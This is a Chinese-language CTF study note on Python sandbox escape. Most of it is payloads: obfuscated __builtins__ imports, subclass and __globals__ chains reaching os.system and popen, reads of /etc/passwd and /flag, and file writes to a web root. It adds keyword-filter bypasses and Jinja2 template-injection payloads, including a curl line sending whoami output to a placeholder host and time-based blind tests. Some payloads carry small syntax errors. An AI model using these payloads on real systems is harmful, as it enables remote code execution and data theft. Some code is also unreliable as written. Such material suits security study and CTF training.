0x00 簡介
關於Python沙箱的逃逸,在多次CTF比賽中看到後,終於下定決心來進行一番學習和總結。
python沙箱逃逸:從一個受限制的python執行環境中獲取到更高的權限,甚至getshell。
0x01 __builtins__
首先我們從python的內建函數__builtins__說起。通過dir(__builtins__)可以查看內置函數,展示所有內置類型和函數。
我們先來看最基礎的__import__函數
# 直接調用
__builtins__.__import__('os').system('dir')
# 通過dict訪問
__builtins__.__dict__[‘import__('os')’].system('ls')
# 玩一些花樣-轉碼
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls')
此外還有file、open、eval等函數
__builtins__.__dict__.__getitem__('file')('/etc/passwd').read()
__builtins__.__dict__.__getitem__('open')('/etc/passwd').read()
__builtins__.__dict__.__getitem__('eval')("__import__('os').system('ls')")
# import 其他模塊
__builtins__.__import__('commands').getoutput('id')
__builtins__.__import__('commands').getstatusoutput('id')
__builtins__.__import__('subprocess').call(['id'],shell=True)
關於import還有其他一些有意思的操作,包括reload方法、設置sys.modules[‘os’]、execfile等。
0x03 object
除了builtins,是否還存在其他方法呢?這裏我們來介紹python的object。
我們知道python是面向對象的語言,所有類均是從object繼承而來。所以我們在構造payload時,第一步便是構造一個object,然後在通過object去進行想要的操作。構造一個object的方法有三個,第一個是通過類的屬性__base__,通過該屬性可以指明該類是繼承自哪個類(所有類均是從object繼承而來)。
第二個是使用屬性__bases__,原理跟__base__類似,它返回一個繼承的數組,而數組的第一個便是object;
第三個方法是使用屬性__mro__,__mro__即method resolution order,解析方法調用的順序。其順序的最後一位必定爲一個object。
最終整理的可構造一個object對象的方法如下:
# use __base__
[].__class__.__base__
''.__class__.__base__
False.__class__.__base__.__base__
0.0.__class__.__base__
{}.__class__.__base__
# use __bases__[0]
[].__class__.__bases__[0]
''.__class__.__bases__[0]
False.__class__.__bases__[0]. __bases__[0]
0.0.__class__.__bases__[0]
{}.__class__.__bases__[0]
# use __mro__[-1]
[].__class__.__mro__[-1]
''.__class__.__mro__[-1]
False.__class__.__mro__[-1]
0.0.__class__.__mro__[-1]
{}.__class__.__mro__[-1]
0x04 命令執行
在得到一個object對象後,我們通過subclasses查看其支持的對象類型(本身支持subclasshook方法)。
這裏的file可用來進行最簡單的文件讀操作。
().__class__.__bases__[0].__subclasses__()[40]('/flag).read()
此處,read、readline、readlines均可使用。
簡單寫文件示例:
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/tmp', 'w').write('777')
__globals__屬性
在講命令執行前,這裏還得介紹一下__globals__。該屬性是函數特有的屬性,記錄當前文件全局變量的值,如果某個文件調用了os、sys等庫,但我們只能訪問該文件某個函數或者某個對象,那麼我們就可以利用__globals__屬性訪問全局的變量。
python裏面的內置模塊本身調用os模塊等可以命令執行的庫,這裏列舉幾個:
<class 'site._Printer'>
<class 'site.Quitter'>
<class 'warnings.catch_warnings'>
由於測試環境中未能復現該方法,此處不再作深入講解。這裏僅貼一些常見的payload供參考。
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].popen('dir')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
func_global屬性
但在實際測試過程中,由於__globals__未能成功調用,還是轉而使用了func_global屬性。此處我們用catch_warnings類(索引在59),進行命令執行。
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('ls')
0x05 其他繞過姿勢
在實際環境中,我們必然會碰到各種各樣的過濾限制,這裏也做了一些歸納
- getattribute、decode拼接繞過關鍵字過濾
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__global'+'s__')['os'].system('dir')
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('func_global'+'s')['os'].system('dir')
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('5f5f676c6f62616c735f5f'.decode('hex'))['os'].system('ls')
-
無[]法
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
- request法
# 無引號
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }} 提交參數&cmd=id
# 無__
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }} 提交參數&class=__class__&mro=__mro__&subclasses=__subclasses__
- 無回顯
#curl
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:port?i=`whoami`').read()=='p' %}1{% endif %}
-
盲注
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/flag).read()[0:1]=='f' %}bingo{% endif %}
-
時間盲注
__builtins__.__import__( timeit).timeit("__import__('os').system('if [ $(whoami|base32|wc -c|cut -c 1) = ];then sleep 2;fi')", number=1)
-
其他模塊
__builtins__.__import__( timeit).timeit("__import__('os').system('ls')", number=1)
platform.popen('id', mode='r', bufsize=-1).read()
參考
https://blog.csdn.net/wy_97/article/details/80393854
https://www.jianshu.com/p/183581381c4f
https://xz.aliyun.com/t/52#
https://icematcha.win/?p=532